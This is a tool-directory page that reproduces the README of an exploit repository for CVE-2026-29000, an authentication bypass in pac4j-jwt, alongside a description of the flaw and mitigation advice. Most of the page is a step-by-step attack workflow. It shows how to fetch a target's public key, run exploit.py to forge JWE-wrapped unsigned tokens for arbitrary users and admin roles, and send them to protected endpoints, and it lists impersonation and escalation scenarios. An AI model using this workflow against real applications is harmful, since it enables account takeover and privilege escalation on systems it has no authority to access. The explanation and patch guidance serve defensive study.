Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-29000 — Exploit for CVE-2026-29000, a JWT authentication bypass in pac4j-jwt via JWE-wrapped PlainJWT, allowing token forgery and privilege escalation. | Kitploit
Tools/GitHubGitHub/rootx111/cve-2026-29000
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubrootx111/cve-2026-29000

cve-2026-29000

Exploit for CVE-2026-29000, a JWT authentication bypass in pac4j-jwt via JWE-wrapped PlainJWT, allowing token forgery and privilege escalation.

View Repository
215 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-29000 Exploit

JWT Authentication Bypass in pac4j-jwt via JWE-wrapped PlainJWT

Vulnerability Description

CVE-2026-29000 is a critical authentication bypass vulnerability affecting pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3. The vulnerability allows remote attackers to forge authentication tokens and bypass signature verification.

Technical Details

The vulnerability exists in the JwtAuthenticator component when processing encrypted JWTs (JWE). When a JWE token is received:

  1. The server decrypts the JWE using its RSA private key
  2. The decrypted content reveals an inner JWT
  3. VULNERABILITY: The server extracts claims from the inner JWT without verifying its signature
  4. Attackers can craft a JWE that wraps a PlainJWT (algorithm: "none") with arbitrary claims

Attack Requirements

  • Access to the server's RSA public key (often exposed via JWKS endpoint)
  • Ability to send crafted tokens to the vulnerable application

Impact

  • Complete authentication bypass: Attackers can authenticate as any user
  • Privilege escalation: Can assign arbitrary roles including administrator roles
  • Session hijacking: Can impersonate legitimate users without credentials

Affected Versions

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

Repository Contents

  • exploit.py - Python exploit script to generate malicious tokens
  • vulnerable_server.py - Demonstration server simulating the vulnerability
  • requirements.txt - Python dependencies
  • README.md - This file

Installation

Prerequisites

  • Python 3.8 or higher
  • pip package manager

Setup

root@kitploit:~
# Clone the repository
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# Install dependencies
pip3 install -r requirements.txt

Usage

Step 1: Start the Vulnerable Test Server

root@kitploit:~
python3 vulnerable_server.py

The server will:

  • Generate RSA keypair (saved to server_private.pem and server_public.pem)
  • Start on http://127.0.0.1:5000
  • Expose the public key at http://127.0.0.1:5000/public-key

Step 2: Obtain the Target's Public Key

In a real attack scenario, obtain the public key from the target server:

root@kitploit:~
# Download public key from JWKS endpoint
curl http://target-server.com/jwks > target_jwks.json

# Or direct public key endpoint
curl http://target-server.com/public-key > target_public.pem

For the test server:

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

Step 3: Generate Malicious Token

Use the exploit script to create a JWE-wrapped PlainJWT:

root@kitploit:~
# Basic usage - authenticate as admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# Authenticate as specific user with multiple roles
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# Add custom claims
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# Save token to file
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

Step 4: Test the Attack

Test Against Vulnerable Server

root@kitploit:~
# Set the malicious token (copy from exploit.py output)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# Access public endpoint (should work)
curl http://127.0.0.1:5000/api/public

# Access user endpoint with malicious token (BYPASS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# Access admin endpoint with malicious token (PRIVILEGE ESCALATION!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Expected successful output from admin endpoint:

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

Complete Attack Workflow

Full Testing Commands

root@kitploit:~
# 1. Install dependencies
pip3 install -r requirements.txt

# 2. Start vulnerable server (in terminal 1)
python3 vulnerable_server.py

# 3. In a new terminal, get the public key
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. Generate malicious admin token
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. Extract token to variable
TOKEN=$(cat token.txt)

# 6. Test public endpoint (baseline - no auth needed)
curl http://127.0.0.1:5000/api/public

# 7. Test user endpoint (should succeed with our malicious token)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. Test admin endpoint (EXPLOIT SUCCESS - should access restricted data)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. Verify the response contains the flag
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

Advanced Attack Scenarios

Scenario 1: Impersonate Specific User

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

Scenario 2: Escalate to Administrator

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

Scenario 3: Custom Claims Injection

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

Exploit Script Options

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens

options:
  -h, --help            show this help message and exit
  --subject SUBJECT, -s SUBJECT
                        Subject (username) to impersonate
  --roles ROLES, -r ROLES
                        Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Path to RSA public key PEM file
  --claims CLAIMS, -c CLAIMS
                        Additional claims as JSON string
  --generate-keypair, -g
                        Generate a test RSA keypair and save to files
  --output OUTPUT, -o OUTPUT
                        Output file for the generated token

How the Vulnerability Works

Normal JWT Flow (Secure)

root@kitploit:~
1. Client sends JWT with signature
2. Server verifies signature with public key
3. If valid, extract claims
4. Grant access based on claims

Vulnerable Flow (CVE-2026-29000)

root@kitploit:~
1. Attacker obtains server's RSA public key
2. Attacker creates PlainJWT (alg: none) with arbitrary claims
   Example: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. Attacker encrypts PlainJWT using JWE with server's public key
4. Server decrypts JWE successfully
5. Server extracts claims from inner PlainJWT WITHOUT signature verification
6. Server grants access based on forged claims

Why It Works

The vulnerability occurs because:

  • JWE provides confidentiality, not integrity for the inner content
  • The server assumes decryption success implies authenticity
  • PlainJWT (alg: none) has no signature to verify
  • Claims are trusted solely because they were encrypted

Mitigation

For Developers

  1. Update pac4j-jwt to version 4.5.9, 5.7.9, 6.3.3 or later
  2. Always verify signatures on inner JWTs after JWE decryption
  3. Reject PlainJWT tokens (algorithm: "none")
  4. Validate algorithm in JWT header against allowlist

For System Administrators

  1. Update vulnerable applications immediately
  2. Audit authentication logs for suspicious activity
  3. Review user sessions and revoke suspicious tokens
  4. Consider implementing additional authentication layers

Secure Implementation

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. Decrypt JWE
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. Parse inner JWT header
    header = parse_jwt_header(inner_jwt)

    # 3. CRITICAL: Verify algorithm is not "none"
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT not allowed")

    # 4. CRITICAL: Verify signature of inner JWT
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("Invalid JWT signature")

    # 5. Extract claims only after verification
    return extract_claims(inner_jwt)

Testing Checklist

  • Install dependencies: pip3 install -r requirements.txt
  • Start vulnerable server: python3 vulnerable_server.py
  • Obtain public key: curl http://127.0.0.1:5000/public-key > server_public.pem
  • Generate malicious token: python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • Test public endpoint: curl http://127.0.0.1:5000/api/public
  • Test user endpoint with token: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • Test admin endpoint with token: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Quick Start Guide

root@kitploit:~
# One-liner setup and test
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

References

  • CVE-2026-29000 Advisory
  • pac4j Security Advisory
  • OWASP JWT Security Cheat Sheet
  • RFC 7519 (JSON Web Token)
  • RFC 7516 (JSON Web Encryption)

Disclaimer

This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use this tool only against systems you own or have explicit permission to test.

License

MIT License - For educational purposes only

Author

Security Researcher Date: 2026-03-16

Download Tool
  • Verify flag is obtained: Look for FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}